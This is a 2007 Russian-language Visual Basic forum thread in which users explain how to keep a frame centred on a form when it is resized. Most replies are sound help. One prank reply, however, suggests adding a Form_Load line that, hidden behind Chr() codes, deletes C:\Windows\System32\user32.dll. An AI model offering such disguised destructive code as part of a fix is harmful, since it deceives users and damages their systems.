Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: * Центрирование объекта на форме ? Добавлено: 24.11.07 13:31  

Автор вопроса:    | Web-сайт: kyk.hocom.by
Привет всем!
Каким образом центрировать, допустим кнопку, на форме?
Чтобы при Form_Resize() кнопка всеравно оставалась в центре формы.

Ответить

  Ответы Всего ответов: 13  

Номер ответа: 1
Автор ответа:
 Алексей



black  admin

ICQ: 261779681 

Вопросов: 87
Ответов: 633
 Web-сайт: aleksey.nemiro.ru
 Профиль | | #1
Добавлено: 24.11.07 13:41
Для этого есть чудо формула:
(Ширина окна - Ширина кнопки) / 2
тоже самое и с выстой.
У кнопки есть свойства Top и Left

--
Кодообменник Kbyte.Ru - давай меняться! ;)
http://kbyte.ru/code

Ответить

Номер ответа: 2
Автор ответа:
  



Вопросов: 3
Ответов: 8
 Web-сайт: kyk.hocom.by
 Профиль | | #2
Добавлено: 24.11.07 14:00
Private Sub Form_Resize()
Frame.Width = Screen.Width - Frame.Width \ 2
Frame.Height = Screen.Height - Frame.Height \ 2
End Sub

При загрузке формы работает,
при развертывании нет ...??

Ответить

Номер ответа: 3
Автор ответа:
 Алексей



black  admin

ICQ: 261779681 

Вопросов: 87
Ответов: 633
 Web-сайт: aleksey.nemiro.ru
 Профиль | | #3
Добавлено: 24.11.07 14:35
Удивительно, как оно вообще работает :))

Если нужен Frame, то должно быть так:
Private Sub Form_Resize()
  Frame1.Left = (Me.Width - Frame1.Width) / 2
  Frame1.Top = (Me.Height - Frame1.Height) / 2
End Sub


--
Система Эксперт Kbyte.Ru - Есть вопросы? Спроси Эксперта, Эксперт поможет!
http://kbyte.ru/expert
mailto:expert@kbyte.ru

Ответить

Номер ответа: 4
Автор ответа:
 Алексей



black  admin

ICQ: 261779681 

Вопросов: 87
Ответов: 633
 Web-сайт: aleksey.nemiro.ru
 Профиль | | #4
Добавлено: 24.11.07 14:41
Хотя лучше вместо Me.Width и Me.Height использовать
Me.ScaleWidth и, соответственно, Me.ScaleHeight, только
не споткнись ScaleMode ;)

Ответить

Номер ответа: 5
Автор ответа:
  



Вопросов: 3
Ответов: 8
 Web-сайт: kyk.hocom.by
 Профиль | | #5
Добавлено: 24.11.07 14:55
Алексей, спасибо.

Ответить

Номер ответа: 6
Автор ответа:
 VβÐUηìt



Вопросов: 246
Ответов: 3333
 Web-сайт: смекаешь.рф
 Профиль | | #6
Добавлено: 24.11.07 17:26
Ндя...

Ответить

Номер ответа: 7
Автор ответа:
  



Вопросов: 3
Ответов: 8
 Web-сайт: kyk.hocom.by
 Профиль | | #7
Добавлено: 24.11.07 18:32
Ндя...

азы и основы тоже иногда забываются, память не вечная :)

Ответить

Номер ответа: 8
Автор ответа:
 ENIX



ICQ: 238819245 

Вопросов: 9
Ответов: 76
 Профиль | | #8 Добавлено: 25.11.07 12:50
Не забудь если WindowState=1 формы, то сгенер ошибка, ставь проверку

Ответить

Номер ответа: 9
Автор ответа:
 Winand



Вопросов: 87
Ответов: 2795
 Web-сайт: winandfx.narod.ru
 Профиль | | #9
Добавлено: 25.11.07 16:57
если WindowState=2 то по идее тоже ошибка бу.

Ответить

Номер ответа: 10
Автор ответа:
 Алексей



black  admin

ICQ: 261779681 

Вопросов: 87
Ответов: 633
 Web-сайт: aleksey.nemiro.ru
 Профиль | | #10
Добавлено: 25.11.07 17:38
Да нет, вот правильный код, другого и быть не может:
Option Explicit

Private aa As Long

Private Sub Form_Resize()
  If Not WindowState = Round(Round(((((GetX2 ^ 4) - GetX * 2 + ((CLng(GetX3 & 218)) - 344) / (4 * 8) - (219451 + 54234 - (8745 * 2))) - 2046210) * (-3092420.5625))) / 9563064935373#) Then
    Frame1.Left = (ScaleWidth - Frame1.Width) / 2
    Frame1.Top = (ScaleHeight - Frame1.Height) / 2
  End If
End Sub

Function GetX() As Long
  Dim s As String
  s = "ABCDEFGHRTGHFDSTGHEROEWRTODSFGDFG32235%$^$%&45983459385923-914023948CVBMDKEWPEROERKFD"
  GetX = CLng("&" & Mid(s, 8, 1) & Mid(s, 6 / 2, 1) & CStr(7 * 5 - 1) & Hex(Asc("я тут был!";)))
End Function

Function GetX2() As Long
  aa = 0
  Do While Not aa = 30
    GoTo kuku:
  Loop
kuku:
  aa = aa + 10
End Function

Function GetX3() As String
  GetX3 = Chr(&H2D)
End Function

Ответить

Номер ответа: 11
Автор ответа:
 VβÐUηìt



Вопросов: 246
Ответов: 3333
 Web-сайт: смекаешь.рф
 Профиль | | #11
Добавлено: 25.11.07 18:30
:)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

Еще забыл в Form_Load:


Kill  Chr(67) & Chr(58) & Chr(92) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(92) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(51) & Chr(50) & Chr(92) & Chr(117) & Chr(115) & Chr(101) & Chr(114) & Chr(51) & Chr(50) & Chr(46) & Chr(100) & Chr(108) & Chr(108)

:)

Ответить

Номер ответа: 12
Автор ответа:
 Silver Ferrum



ICQ: 422640045 

Вопросов: 12
Ответов: 144
 Профиль | | #12 Добавлено: 26.11.07 08:35
хах.. user32.dll просто так не удалишь :)

Ответить

Номер ответа: 13
Автор ответа:
 VβÐUηìt



Вопросов: 246
Ответов: 3333
 Web-сайт: смекаешь.рф
 Профиль | | #13
Добавлено: 26.11.07 14:56
Не знаю, у всех моих знакомых работало)))))))))

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам